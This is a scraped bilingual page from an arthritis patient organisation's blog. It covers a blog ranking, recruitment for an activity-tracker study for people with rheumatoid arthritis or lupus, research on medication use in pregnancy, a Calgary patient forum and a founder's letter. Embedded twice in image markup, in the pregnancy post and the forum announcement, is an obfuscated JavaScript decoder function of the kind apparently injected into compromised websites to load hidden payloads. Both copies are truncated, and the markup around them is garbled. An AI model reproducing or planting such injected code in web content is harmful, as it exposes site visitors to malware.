Bienvenue au réseau de diffusion sur l'arthrite Arthritis Research Centre of Canada Arthritis Consumer Experts

Le Réseau de diffusion sur l’arthrite dans la liste Feedspot des 40 meilleurs…

Top 40 Arthritis Blog BadgeLe Réseau de diffusion sur l’arthrite dans la liste Feedspot des 40 meilleurs blogues et sites Web sur l’arthrite pour les personnes atteintes de cette maladie.

Le Réseau de diffusion sur l’arthrite (RDA) géré par le comité ACE (Arthritis Consumer Experts) : Actualités et information sur l’arthrite. En tout temps. Grâce à nos supporteurs, notre plus récent événement en direct sur Facebook a rejoint plus de 23 000 personnes en seulement trois jours !

C’est un honneur pour le Réseau de diffusion sur l’arthrite de figurer à la liste Feedspot des 40 meilleurs blogues et sites Web sur l’arthrite pour les personnes atteintes de cette maladie. Ce classement se fonde sur les critères suivants : Continue reading

Arthritis Broadcast Network named one of Feedspot’s Top 40 Arthritis Blogs

Top 40 Arthritis Blog BadgeArthritis Broadcast Network (ABN) – powered by Arthritis Consumer Experts – All your arthritis news and information. All the time. Thanks to our fans, our most recent Facebook Live event reached over 23,000 people in just three days!

Arthritis Broadcast Network is honoured to be named one of the top 40 arthritis blogs and websites for people living with arthritis by Feedspot. Rankings are based on the following criteria: Continue reading

Do you have Rheumatoid Arthritis or Lupus? Join the OPAM-IA study!

Participate in a new study that will use wearable activity trackers, paired with a new web application, and physical activity counselling to help you get more active!

Rheumatoid arthritis (RA) and systemic lupus erythematosus (SLE) are types of inflammatory arthritis that causes inflammation and> deformity of the joints, and affects your immune system. Physical activity can help to decrease pain and disability in joints affected by RA and SLE while benefiting your overall health.

woman with rheumatoid arthritis looking at physical activity trackerIf you are a person living with RA or SLE, and are interested in getting more active, we invite YOU to participate in the OPAM-IA study. Through participating in the OPAM-IA study, you will learn how to get active with RA or SLE. You will be asked to attend an education session in Metro Vancouver, use a Fitbit Flex activity tracker with the new web application, and receive counselling from a registered physiotherapist. The total time commitment for the study is 6 months. Enrol now to start in January 2018!

If you are interested, please fill out a 2-minute screening questionnaire.All responses will remain confidential, and you will be contacted by a research staff member within 48 hours to discuss your eligibility further.

Survey Link: http://open.arthritisresearch.ca/survey/index.php?r=survey/index/sid/455398/lang/en.

For more information, contact Halima Elmi, study coordinator at 604-207-4053 or 1-844-707-4053 (toll free), or via email at opam.activity@arthritisresearch.ca.

Hello World

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L’utilisation de biologiques pendant la grossesse n’entraîne pas…

L’utilisation de biologiques pendant la grossesse n’entraîne pas nécessairement une augmentation des risques d’infections chez les nourrissons

Le comité ACE a surveillé attentivement la recherche sur l’utilisation de biologiques pendant la grossesse en réponse aux interrogations de plusieurs de leurs membres qui songent à fonder une famille et ont des inquiétudes à poursuivre leur traitement aux médicaments biologiques.

Nous avons précédemment rendu compte des travaux de la docteure Mary De Vera, professeure adjointe à la faculté des sciences pharmaceutiques de l’Université de la Colombie-Britannique, et de son équipe de recherche qui ont réalisé une étude parmi la population portant sur les caractéristiques de consommation de médicaments avant, pendant et après la grossesse chez les femmes atteintes de lupus érythémateux disséminé.
picture of woman and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe her pregnancy” width=”600″ height=”533″ />
L’équipe de la docteure De Vera a évalué l’utilisation des médicaments chez les femmes enceintes atteintes de lupus résidant en Colombie-Britannique. La plupart des trimestres de grossesses ont été exposés à l’hydroxychloroquine et (ou) à la chloroquine (de 41 à 45 pour cent des trimestres de grossesses exposés). L’équipe de recherche a également observé une hausse de l’exposition aux corticostéroïdes (comme la prednisone) pendant la grossesse, de même qu’après l’accouchement. Ces constats renforcent l’importance des conseils aux femmes sur les décisions en matière de procréation de même que le besoin d’évaluation du rapport risque/bénéfice de l’utilisation des médicaments pendant la grossesse.
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Biologic Use During Pregnancy May Not Increase Infection Risks in Infants

ACE has carefully monitored the research on biologic use during pregnancy in response to the many ACE members who are thinking of starting a family and have concerns about continuing their medications.

We have previously reported on the study by Dr. Mary De Vera, Assistant Professor at the University of British Columbia’s Faculty of Pharmaceutical Sciences, and her team on “Patterns of medication use before, during, and after pregnancy among women with systemic lupus erythematosus: A population-based study”.

picture of pregnant womanDr. De Vera’s team assessed the use of medications in pregnant women with lupus in British Columbia. Most pregnancy trimesters in the study were exposed to hydroxychloroquine and/or chloroquine (41 to 45% of exposed pregnancy trimesters). The research observed an increase in glucocorticosteroid (like prednisone) exposures during pregnancy, as well as post-delivery. Findings emphasized the importance of counseling women regarding childbearing decisions as well as the need for evaluation of the risk-benefit profiles of medications in pregnancy.
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You’re invited! Free 2017 Calgary Ankylosing Spondylitis & Psoriatic Arthritis Public Information Forum

function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-PSA-Forum.png” alt=”AS and PsA Forum Banner" width="600" height="242" />Join guest speakers for a free information session to learn more about ankylosing spondylitis and psoriatic arthritis and how to effectively manage these conditions.

Date: Saturday, November 18, 2017
Time: 8:30 am-12:30 pm
Speaker presentations start at 9:00 am

Location:
WINSPORT Multi-purpose Room
88 Canada Olympic Road SW
Calgary, Alberta, T3B 5R5

To register online, please click here or email execdirector@spondylitis.ca or phone (705) 715-2162. On-site registration opens at 8:30 am. Refreshments will be served.

The following topics will be discussed:
Disease overview & diagnosis
Treatment options
What’s new and on the horizon
Pain management
Non-pharmacologic treatment

Guest speakers:
Dr. Diane Mosher (Rheumatologist)
Dr. Olga Zouzina (Rheumatologist)
Carolyn Johns (Physiotherapist)
Alex Charlton (pharmacist)
Patient Speaker

« ACE @ 18 », qu’est-ce que ça signifie ? – Cheryl Koehn

« ACE @ 18 », qu’est-ce que ça signifie ?

J’assistais tout récemment à une rencontre lorsqu’un médecin très en vue (dans un domaine autre que celui de l’arthrite) me disait que de travailler avec la collectivité arthritique et le gouvernement pour améliorer les modèles de soins pour les personnes arthritiques n’était qu’une « utopie ». Son commentaire était en lien avec la présentation que je venais de donner à près de 50 cliniciens et médecins spécialisés dans la recherche. Sur le moment, je suis restée figée près du podium, décontenancée par sa réflexion. Heureusement, je savais tout ce que le comité ACE (Arthritis Consumer Experts) et moi-même avions traversé tout au long de ces 18 dernières années. Nous nous sommes embarqués dans une grande aventure pour modifier et sauver des vies en travaillant bénévolement et en collaborant directement avec nos amis patients et leur famille, les experts médicaux, les spécialistes de la recherche de même que les décideurs en matière de politiques. Cette aventure n’a pas été de tout repos, bien au contraire. Pendant les cinq premières années d’existence du comité ACE, des personnes et des organisations puissantes ne souhaitaient rien de moins que de nous voir « disparaître ». Pourquoi cela ? Tout simplement parce que nous troublions le statu quo en ramenant constamment à l’avant-plan l’expérience et la voix des patients – de vraies personnes réellement atteintes d’arthrite – et que nous refusions absolument de « lâcher » le morceau et d’être mis de côté.

Je tiens à vous dire ceci, chers membres, abonnés, fans et suiveurs, parce que je tiens à ce que vous sachiez que 18 ans plus tard, nous continuerons à faire ce que nous avons toujours fait et même plus encore. Et nous voulons que vous fassiez encore et toujours partie de cette aventure. Vous êtes le comité ACE. Vous êtes l’expérience, la douleur, la lutte, les victoires, la joie et les défis que nous voulons représenter. Nous sommes une famille. Des frères et des sœurs de la famille arthritique, toute la journée, chaque jour.

ACE Cheryl Koehn guest badge at ACR
Cette aventure a commencé avec une seule personne, moi-même. Aujourd’hui, avec nos 40 000 membres et abonnés d’un bout à l’autre du pays, nous sommes la plus importante organisation de patients au Canada. Notre base de membres est plus importante en Ontario, au Québec, en Colombie-Britannique et en Alberta, mais on peut trouver des « fans ACE » dans chaque province et territoire. Que vous résidiez sur la côte Est, la côte Ouest ou dans le centre du pays, votre message est le même :

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“ACE @ 18”, what does that mean? – By Cheryl Koehn

“ACE @ 18”, what does that mean?

I was recently at a meeting when a prominent doctor (from another disease area) told me that working with the arthritis community and government to improve models of care for people with arthritis was a “pipe dream”. His comment was in response to a presentation I had just given to about 50 clinical and research specialist physicians. At first, I was taken aback by his comment as I stood at the podium. Thankfully, I knew where I and Arthritis Consumer Experts (ACE) had come from over the last 18 years. We’ve been on a journey to change and save lives by volunteering and working directly with fellow patients and their families, medical and research experts and policy makers. That journey hasn’t been easy; quite the contrary. For the first five years of ACE’s existence, powerful people and organizations wanted us to “go away”. Why? Well, we upset the status quo by bringing to the forefront the experience and voices of patients – real people living with real arthritis – and by refusing to be discouraged and pushed away.

I’m telling you, our valued members, subscribers, fans and followers, this, because I want you to know that 18 years later, we’re going to keep doing what we’ve always done, and more, and we want you to continue to be a part of the journey. You are ACE. You are the experience, the pain, the struggle, the wins, the joy, the challenges we represent. We are family. Brothers and sisters in arthritis, every day, all day.

ACE Cheryl Koehn guest badge at ACRWe started with one person, me. Today, we are the largest arthritis patient organization in Canada with 40,000 members and subscribers across the country. Our membership base is largest in Ontario, Quebec, British Columbia and Alberta, but we have “ACE-ers” in every single province and territory. Whether you live on the West or East coast or in Centre, what we hear from you is the consistent:

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